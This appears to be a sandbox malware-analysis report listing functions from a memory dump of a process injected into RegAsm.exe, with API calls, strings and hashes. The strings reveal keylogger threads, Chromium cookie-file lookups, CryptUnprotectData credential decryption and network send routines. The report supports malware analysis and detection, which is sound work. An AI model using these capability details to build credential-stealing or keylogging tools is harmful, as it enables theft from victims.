                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                              • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                              • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                              • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                              Function 0044BA37 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: 5}/
                              • API String ID: 0-169246594
                              • Opcode ID: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                              • Instruction ID: 56b21f6c39f874414c878b072b89285690216c2d241c0ad811085e1835033e53
                              • Opcode Fuzzy Hash: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                              • Instruction Fuzzy Hash: 1B51B271D00249AAEF14DFA9C885FAFBBB8EF45314F14015FE400A7291DB78D901CBA9
                              Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                              Download Yara Rule
                              APIs
                              • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                                • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C52A
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateFileKeyboardLayoutNameconnectsend
                              • String ID: XQG$NG$PG
                              • API String ID: 1634807452-3565412412
                              • Opcode ID: 540faca1283a201b615fa294366106f171e649dc374ea9aa343cf977934f0195
                              • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                              • Opcode Fuzzy Hash: 540faca1283a201b615fa294366106f171e649dc374ea9aa343cf977934f0195
                              • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                              Function 00452E74 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 150COMMON
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00452F89
                                • Part of subcall function 00452D79: __alloca_probe_16.LIBCMT ref: 00452DE2
                                • Part of subcall function 00452D79: WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,00001004,00000000,00000000,?,00000080,00000000,00000000,?,00000080,00000000,00000000), ref: 00452E3F
                                • Part of subcall function 00452D79: __freea.LIBCMT ref: 00452E48
                              • _free.LIBCMT ref: 00452EDF
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00452F1A
                                • Part of subcall function 00445AF3: HeapAlloc.KERNEL32(00000008,?,00000000,?,004482CA,00000001,00000364,?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000), ref: 00445B34
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorHeapLast_free$AllocByteCharFreeMultiWide__alloca_probe_16__freea
                              • String ID: 5}/
                              • API String ID: 1317440246-169246594
                              • Opcode ID: 002d8f7f5af11c0749cb7654895c3d8eda478d8b80c4c83c26d6536e7ac70b0a
                              • Instruction ID: ccdd9cb3de202117adee29f47408f3b5f6a1d77b5c6470f84ce848334012e277
                              • Opcode Fuzzy Hash: 002d8f7f5af11c0749cb7654895c3d8eda478d8b80c4c83c26d6536e7ac70b0a
                              • Instruction Fuzzy Hash: 8541C572900215ABDF219F25DC41FAB7BB8AF46715F40419BFC08E2242DE79CE449B65
                              Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                              Download Yara Rule
                              APIs
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                              • String ID: `#D$`#D
                              • API String ID: 885266447-2450397995
                              • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                              • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                              • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                              • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                              Function 0044B81F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,FF8BC35D,00000000,?,?,0044BB7E,?,00000000,FF8BC35D), ref: 0044B8D2
                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0044B900
                              • GetLastError.KERNEL32(?,0044BB7E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369,00000000,0043CE84,?,?,?,83EC8B55,?,458B2CEC), ref: 0044B931
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharErrorFileLastMultiWideWrite
                              • String ID: 5}/
                              • API String ID: 2456169464-169246594
                              • Opcode ID: 45b30aa491ac8650baadb11fddd3d70834055c7c1d6817fc490f027624ef462a
                              • Instruction ID: a4f89274a665815b2d7bd0a52cbb4c71b9b2878c435ac706d73e761117ab6cd9
                              • Opcode Fuzzy Hash: 45b30aa491ac8650baadb11fddd3d70834055c7c1d6817fc490f027624ef462a
                              • Instruction Fuzzy Hash: 18317271A002199FDB14DF59DC809EAB7B8EB48305F0444BEE90AD7260DB34ED80CBA4
                              Function 00452D79 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101COMMON
                              Download Yara Rule
                              APIs
                              • __alloca_probe_16.LIBCMT ref: 00452DE2
                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,00001004,00000000,00000000,?,00000080,00000000,00000000,?,00000080,00000000,00000000), ref: 00452E3F
                              • __freea.LIBCMT ref: 00452E48
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide__alloca_probe_16__freea
                              • String ID: 5}/
                              • API String ID: 3062693170-169246594
                              • Opcode ID: 08072a92ddfb6cb17d38c41db4d8ff4a5f9d8a0aed595a354ed724e0bbe11d20
                              • Instruction ID: c2c936b26b43f3ed25a22525db3567d33f4726031da11e7c93dcecdd16d5eaf1
                              • Opcode Fuzzy Hash: 08072a92ddfb6cb17d38c41db4d8ff4a5f9d8a0aed595a354ed724e0bbe11d20
                              • Instruction Fuzzy Hash: 14313432A00156ABDB249F65CC42DAFBBA4EF45714F18426AFC14DB292DB38CC88C7D4
                              Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,636E1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                              • String ID: /sort "Visit Time" /stext "$0NG
                              • API String ID: 368326130-3219657780
                              • Opcode ID: 765a2cec5dfc93fc14e6a06a83629ca65ec94325b3245c099cb6fcf10de14a30
                              • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                              • Opcode Fuzzy Hash: 765a2cec5dfc93fc14e6a06a83629ca65ec94325b3245c099cb6fcf10de14a30
                              • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                              Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                              Download Yara Rule
                              APIs
                              • SystemParametersInfoW.USER32 ref: 0041CAD7
                                • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                                • Part of subcall function 0041376F: RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                                • Part of subcall function 0041376F: RegCloseKey.KERNEL32(?), ref: 004137B1
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateInfoParametersSystemValue
                              • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                              • API String ID: 4127273184-3576401099
                              • Opcode ID: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                              • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                              • Opcode Fuzzy Hash: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                              • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                              Function 004494C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00449533
                              • _free.LIBCMT ref: 00449589
                                • Part of subcall function 00449365: _free.LIBCMT ref: 004493BD
                                • Part of subcall function 00449365: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                                • Part of subcall function 00449365: WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                                • Part of subcall function 00449365: WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ByteCharMultiWide$InformationTimeZone
                              • String ID: 5}/
                              • API String ID: 314583886-169246594
                              • Opcode ID: eaf586b2930d01511b6716dfae134002a73728fcce14da89e08ad40e86166e4e
                              • Instruction ID: 71864bc9f516c926395d8cbc54ce5419a09c8d5b8e962516e31e57181dbe1d14
                              • Opcode Fuzzy Hash: eaf586b2930d01511b6716dfae134002a73728fcce14da89e08ad40e86166e4e
                              • Instruction Fuzzy Hash: 8C213E7380011477FB31A6659C81DEB736CDB91364F20029BF958A2181DE384EC1969D
                              Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 004162F5
                                • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                                • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _wcslen$CloseCreateValue
                              • String ID: !D@$okmode$PG
                              • API String ID: 3411444782-3370592832
                              • Opcode ID: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                              • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                              • Opcode Fuzzy Hash: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                              • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                              Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C688
                              Strings
                              • User Data\Default\Network\Cookies, xrefs: 0040C603
                              • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                              • API String ID: 1174141254-1980882731
                              • Opcode ID: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                              • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                              • Opcode Fuzzy Hash: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                              • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                              Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C757
                              Strings
                              • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                              • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                              • API String ID: 1174141254-1980882731
                              • Opcode ID: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                              • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                              • Opcode Fuzzy Hash: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                              • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                              Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                              Download Yara Rule
                              APIs
                              • CreateThread.KERNEL32(00000000,00000000,0040A27D,?,00000000,00000000), ref: 0040A1FE
                              • CreateThread.KERNEL32(00000000,00000000,0040A267,?,00000000,00000000), ref: 0040A20E
                              • CreateThread.KERNEL32(00000000,00000000,0040A289,?,00000000,00000000), ref: 0040A21A
                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateThread$LocalTimewsprintf
                              • String ID: Offline Keylogger Started
                              • API String ID: 465354869-4114347211
                              • Opcode ID: 052d9f24e9ed53101c9c6e29893d10a0ebf43ddb848004275c2ad0d2f900b3d6
                              • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                              • Opcode Fuzzy Hash: 052d9f24e9ed53101c9c6e29893d10a0ebf43ddb848004275c2ad0d2f900b3d6
                              • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                              Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040AF6E
                              • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040AF7A
                              • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateThread$LocalTime$wsprintf
                              • String ID: Online Keylogger Started
                              • API String ID: 112202259-1258561607
                              • Opcode ID: 1301e6b876f99197b04564c733fafc78f062806f1783c7b989fb50bec4e70a22
                              • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                              • Opcode Fuzzy Hash: 1301e6b876f99197b04564c733fafc78f062806f1783c7b989fb50bec4e70a22
                              • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                              Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
                              • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: CryptUnprotectData$crypt32
                              • API String ID: 2574300362-2380590389
                              • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                              • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                              • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                              • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                              Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                              • CloseHandle.KERNEL32(?), ref: 004051CA
                              • SetEvent.KERNEL32(?), ref: 004051D9
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEventHandleObjectSingleWait
                              • String ID: Connection Timeout
                              • API String ID: 2055531096-499159329
                              • Opcode ID: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                              • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                              • Opcode Fuzzy Hash: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                              • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                              Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                              Download Yara Rule
                              APIs
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Exception@8Throw
                              • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                              • API String ID: 2005118841-1866435925
                              • Opcode ID: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                              • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                              • Opcode Fuzzy Hash: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                              • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                              Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041381F
                              • RegSetValueExW.ADVAPI32 ref: 0041384D
                              • RegCloseKey.ADVAPI32(004752D8), ref: 00413858
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateValue
                              • String ID: pth_unenc
                              • API String ID: 1818849710-4028850238
                              • Opcode ID: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                              • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                              • Opcode Fuzzy Hash: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                              • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                              Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                              Download Yara Rule
                              APIs
                              • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                              • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                                • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                                • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                              • String ID: bad locale name
                              • API String ID: 3628047217-1405518554
                              • Opcode ID: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                              • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                              • Opcode Fuzzy Hash: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                              • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                              Function 00448AE6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LocaleValid
                              • String ID: IsValidLocaleName$5}/$JD
                              • API String ID: 1901932003-759902009
                              • Opcode ID: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                              • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                              • Opcode Fuzzy Hash: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                              • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                              Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                              Download Yara Rule
                              APIs
                              • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                              • ShowWindow.USER32(00000009), ref: 00416C61
                              • SetForegroundWindow.USER32 ref: 00416C6D
                                • Part of subcall function 0041CD9B: AllocConsole.KERNEL32 ref: 0041CDA4
                                • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                              • String ID: !D@
                              • API String ID: 3446828153-604454484
                              • Opcode ID: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                              • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                              • Opcode Fuzzy Hash: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                              • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
